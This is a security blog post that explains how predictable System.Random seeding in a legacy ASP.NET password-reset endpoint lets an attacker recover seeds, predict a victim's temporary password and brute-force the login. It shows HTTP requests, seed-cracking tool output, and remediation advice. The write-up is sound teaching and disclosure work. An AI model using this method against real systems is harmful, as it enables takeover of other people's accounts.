Post

Exploiting "Random" generators in .NET Applications

Intro

If you do source code reviews on a regular basis, you are bound to eventually stumble upon the use of pseudo-random number generators (PRNGs) to generate secrets like reset tokens or temporary passwords. PRNGs are never meant to be used in places like these, just because they are not really random.

PRNGs are designed to produce static output for a given seed. This means that two separate instances of random generators with the same seed will get you the same values:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> import random
>>> rand1 = random.Random(1)
>>> rand2 = random.Random(1)
>>> for _ in range(0,5):
>>> ...     print(rand1.randint(0,255))
>>> ...
68
32
130
60
253
>>> for _ in range(0,5):
>>> ...     print(rand2.randint(0,255))
>>> ...
68
32
130
60
253

But you probably already know that. The vast majority of PRNG-related bugs rely on the fact that the developers either just forget to seed the PRNG properly or use a predictable value like current time. This is a well-known developer mistake that has been the cause of some pretty fun bugs. What you might not know is language developers’ efforts to make the accidental use of a PRNG at least somewhat more secure (still doesn’t justify their use for important stuff).

For example, Python developers chose to use the following function seeding the default generator with a true random value from urandom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static intrandom_seed(RandomObject *self, PyObject *arg){
    int result = -1;  /* guilty until proved innocent */
    PyObject *n = NULL;
    uint32_t *key = NULL;
    size_t bits, keyused;
    int res;
    if (arg == NULL || arg == Py_None) {
       if (random_seed_urandom(self) < 0) {
            PyErr_Clear();
            /* Reading system entropy failed, fall back on the worst entropy:
               use the current time and process identifier. */
            random_seed_time_pid(self);
        }
        return 0;
    }
    ...
}

And Golang v1.20+ will now seed its random generator with a true random seed by default, too!

This approach, however, has not been widely adopted yet, so these bugs are still often exploitable, especially in legacy code. This is our case today.

The Bug

Our target is a legacy ASP.NET API written in VB.NET. A quick search for known vulnerable functions (including PRNGs) leads us to the ResetPassword API controller.

The controller obtains a user account for a user-supplied email and uses the Helpers.RandomString method to generate and set a new temporary password:

1
2
3
4
5
6
7
8
9
10
<WebInvoke(UriTemplate:="ResetPassword", Method:="POST", RequestFormat:=Json, ResponseFormat:=Json)>
Public Function ResetPassword(ByVal email As String)
 Dim account As ApplicationAccount
 account = getAccountByEmail(email)
 ' ...
 Dim password As String = Helpers.RandomString(12)
 ' ...
 SetPasswordForAccount(account, password)
 SendPasswordResetEmail(account, password)
End Function

The RandomString helper function creates a System.Random object, a PRNG, to produce a new user password by emitting 12 printable characters and returns the resulting string back to the caller:

1
2
3
4
5
6
7
8
9
10
11
12
13
Public Function RandomString(ByVal length As Integer) As String
Dim rng As New Random()
Dim result As New StringBuilder()

For i As Integer = 0 To length - 1
    Dim j As Integer = rng.Next(32, 127)

    result.Append(Chr(j))
Next

Return result.ToString()
End Function

As can be seen above, the app uses the default constructor of a pseudo-RNG System.Random. If an attacker can deduce its seed, they will be able to guess a valid password for any given account after the reset.

Exploitation strategy

This case should be trivial to exploit. Guess the PRNG seed, which is usually the server’s current time, and generate the user’s password, right? Well, not quite.

According to the official Microsoft .NET Framework documentation, the default constructor of the System.Random class is seeded with the system’s TickCount value on creation (i.e., its internal clock):

In .NET Framework, the default seed value is derived from the system clock, which has finite resolution. As a result, different Random objects that are created in close succession by a call to the parameterless constructor have identical default seed values and, therefore, produce identical sets of random numbers. You can avoid this problem by using a single Random object to generate all random numbers.

TickCount is a 32-bit integer value that represents the relative time since the system’s startup in milliseconds. Since TickCount is a 32-bit integer, it can only have 2^32 (4,294,967,296) unique values. Seems small in comparison to modern crypto, eh?

Because a pseudo RNG is seeded on each function invocation with TickCount, and is used only once to get a character sequence, it can only produce 4,294,967,296 possible password values. Moreover, it is possible to recover the seed value used to produce the password if an attacker is to iterate over all 4 billion seed values and search for the known password value.

Since TickCount, our “random” seed, resembles a relative time value, if an attacker is able to recover seed value A at a given absolute time X, then for any time Y = X + C, where C is some time offset, we can also find out the next seed value B = A + C

With some knowledge of a 4th grade school math, we can simplify the equation to be: B = A + (Y - X)

All this is possible, since, you know, time flows in the same way, relative or not… Or does it? VSauce intro starts playing

Since we are able to obtain the TickCount value B at any time, we can generate possible passwords after the reset for any account in the system, and use those to brute-force our way into the account.

Note, however, that this attack is only feasible if the Random() is re-seeded on each invocation, and the password generation algorithm is known.

Consider the following attack scenario:

  1. We conduct a password reset for our controlled application account to obtain a temporary password at our email and note the absolute time of the server’s response X

  2. We brute-force the password generation algorithm to recover the seed value A at absolute time X

  3. We make a password reset request for a target account and note the time of the server’s response Y

  4. We can now compute the approximate seed B used to generate the victim’s account password B = A + (Y - X)

  5. We can now use seed B to generate possible passwords and use them in a brute-force attack on the application’s login.

Trust me, it will work

Proof Of Concept

I have created a C# PoC program for brute-forcing Random seeds and generating plausible passwords – .Net Framework PRNG Oracle. This category of exploits must be written in the same programming language as the vulnerable application since when it comes to PRNG implementations, every language developer just decided to do something incompatible with all the other languages

Let us now test the theory in practice. We just need to send two password reset requests to the API. The CLI tool will do the heavy lifting for us!

  1. Resetting password for the attacker-controlled account:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
     POST /api/users/ResetPassword HTTP/2
     Host: vulnerable.app.local
     Content-Type: application/json
     Content-Length: 33
        
     {"email":"[email protected]"}
        
     HTTP/2 200 OK
     Date: Thu, 21 Apr 2023 20:37:34 GMT <--- save this value!!!...
    

    We receive the following email to our inbox with the password !CJ.4nFHmYZ*:

  2. Resetting password for the target account:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
     POST /api/users/ResetPassword HTTP/2
     Host: vulnerable.app.local
     Content-Type: application/json
     Content-Length: 28
        
     {"email":"[email protected]"}
        
     HTTP/2 200 OK
     Date: Thu, 21 Apr 2023 20:39:52 GMT <--- save this value!!!...
    
  3. We can now supply the generated password and its timestamp X into the PrngOracle. These parameters are put into a file, while the targeted user’s timestamp Y goes into the second CLI argument:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    
     ~> cat .\attacker_prng_results_file.json
     [{"Timestamp": "Thu, 21 Apr 2023 20:37:34 GMT","Result": "!CJ.4nFHmYZ*"}]
        
     ~> PasswordOracle.exe .\attacker_prng_results_file.json "Thu, 21 Apr 2023 20:39:52 GMT"
     [!] Parsed PRNG results: [
             "Timestamp: "4/21/2023 10:43:21 PM"; Result: "!CJ.4nFHmYZ*"; Seed: -1"
     ]
     [!] Parsed victim PRNG result timestamp: "4/21/2023 10:39:52 PM"
     [!] Brute-forcing Random() seeds for the results
     [*] [23:26:30] Result: "!CJ.4nFHmYZ*"; 0.00% done. 0 values processed
     [*] [23:26:50] Result: "!CJ.4nFHmYZ*"; 0.39% done. 16,777,216 values processed
     [+] [23:27:05] Result: "!CJ.4nFHmYZ*"; Found! Seed: 29774936
     [!] Generating possible results in a 2 second window
     [*] Attacker's timestamp: "4/21/2023 10:43:21 PM"; Victim's timestamp: "4/21/2023 10:39:52 PM"; Offset in milliseconds: 209000
     [*] Computed victim's seed value: 29983936 +- 2000 milliseconds
     [+] Possible results saved to C:\Users\Administrator\Desktop\projects\net-framework-prng-oracle\PrngOracle\PrngOracle\bin\Debug\net6.0\results.txt[+] Done! Happy hacking!
    

How cool is that! We found the Random seed used to generate the password — 29774936. The results.txt file now contains a bunch of possible passwords for the target user:

1
2
3
4
5
6
7
Goose@Berry ~\..\net6.0> cat results.txt
kS6,5vz<I@:K
=ox@`jFlUc!6
o,\U+^p<a'g"
BH?iVR<lmJNl
sd#}"Ff=xm5W
...

Let’s try brute-forcing the login now by loading the above file into the Burp’s Intruder wordlist for the password reset request. The failed authentication request will return a HTTP 401 Unauthorized code. A successful one will return a HTTP 200 OK:

Well, all 4000 passwords were invalid. What has happened? After several hours of debugging it turns out that the application has multiple backend API hosts behind the load balancer! We need to generate multiple password resets to capture the seeds for all the backend servers!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[!] Parsed PRNG results: [
        "Timestamp: "4/21/2023 10:43:21 PM"; Result: "Z)UYw%d/A\{x"; Seed: -1",
        "Timestamp: "4/21/2023 10:44:14 PM"; Result: "u[H"?szDfJKg"; Seed: -1",
        "Timestamp: "4/21/2023 10:44:47 PM"; Result: "?TAF0.P+^P_B"; Seed: -1",
        "Timestamp: "4/21/2023 10:45:02 PM"; Result: "c^J"#j <iXh+"; Seed: -1",
        "Timestamp: "4/21/2023 10:45:06 PM"; Result: "U5p4dQ*@M)1P"; Seed: -1",
        "Timestamp: "4/21/2023 10:45:12 PM"; Result: "+g2]_*oH]B|X"; Seed: -1",
        "Timestamp: "4/21/2023 10:45:31 PM"; Result: ">CD<Ni*4D>4 "; Seed: -1"
]
[!] Parsed victim PRNG result timestamp: "4/21/2023 10:39:52 PM"
[!] Brute-forcing Random() seeds for the results
...
[+] [23:48:16] Result: ">CD<Ni*4D>4 "; Found! Seed: 8126780
...
[+] [23:48:44] Result: "u[H"?szDfJKg"; Found! Seed: 27030019
[+] [23:48:48] Result: "?TAF0.P+^P_B"; Found! Seed: 29981948
[+] [23:48:48] Result: "c^J"#j <iXh+"; Found! Seed: 29997054
...
[+] [23:48:52] Result: "+g2]_*oH]B|X"; Found! Seed: 33909041
[+] [23:48:52] Result: "U5p4dQ*@M)1P"; Found! Seed: 33915102
[+] [23:49:09] Result: "Z)UYw%d/A\{x"; Found! Seed: 47935221
[!] Generating possible results in a 2-second window
...
[+] Possible results saved to C:\Users\Administrator\Desktop\projects\net-framework-prng-oracle\PrngOracle\PrngOracle\bin\Debug\net6.0\results.txt[+] Done! Happy hacking!

There are 5 separate hosts with their own TickCount values!

This time the attack worked just fine. We did, in fact, compromise the account:

The PRNGs have been a pain to the security folk for well over two decades. And, with the rise of AI code generation, the issue will still remain present, cause guess which code the GPT was trained on?

Two out of two consecutive times the ChatGPT 3.5 failed spectacularly while generating a password reset algorithm by using a PRNG “random” python package:

The kind addition of word “secure” did not help a bit:

ChatGPT 4, however, did not make such mistake.

But here is my issue with all this: you can train the model or optimise the query, of course, to specifically omit these kinds of programming errors; you can review the generated code to search for PRNGs. But, it takes one to know one, right? Unsuspecting devs won’t even notice the PRNG usage.

And, then, how come you be so sure that even a trained model won’t slip an insecure function/class into your code in the future?

Obviously, it is not the ML to blame here, but the poor naming practices and lack of an easily noticable difference between RNGs and PRNGs in code. Most if not all programming languages include PRNGs in libraries simply named “Random” or “Math Random” which only confuses developers that often want a true random generator instead of the guessable one. There have been some talks in moving the true random generators into their righteous place, and tossing all of the PRNGs into “Pseudo Random” packages, but we have long passed the point of no return. Any changes such as these will inevitably break the old code.

How to code it correctly

Never ever use PRNGs for critical components in your system. Use secure generators instead! If you require any information on best practices for implementing password resets, check out this awesome cheatsheet from OWASP.

Summary

This was sure a cool bug to exploit. The PrngOracle harness eases the exploitation a lot, though you must understand that this attack is only applicable under certain conditions where the PRNG is used once and you have the source code.

Plus, I did not really code a proper brute-forcing algorithm and just cut the corners at the cost of computing power. This can be forgiven for simple functions like the one shown above, but you might need to improve the tool in advanced cases. Also, it is worth filtering similar seeds to further reduce the resulting wordlist and make the process faster.

This post is licensed under CC BY 4.0 by the author.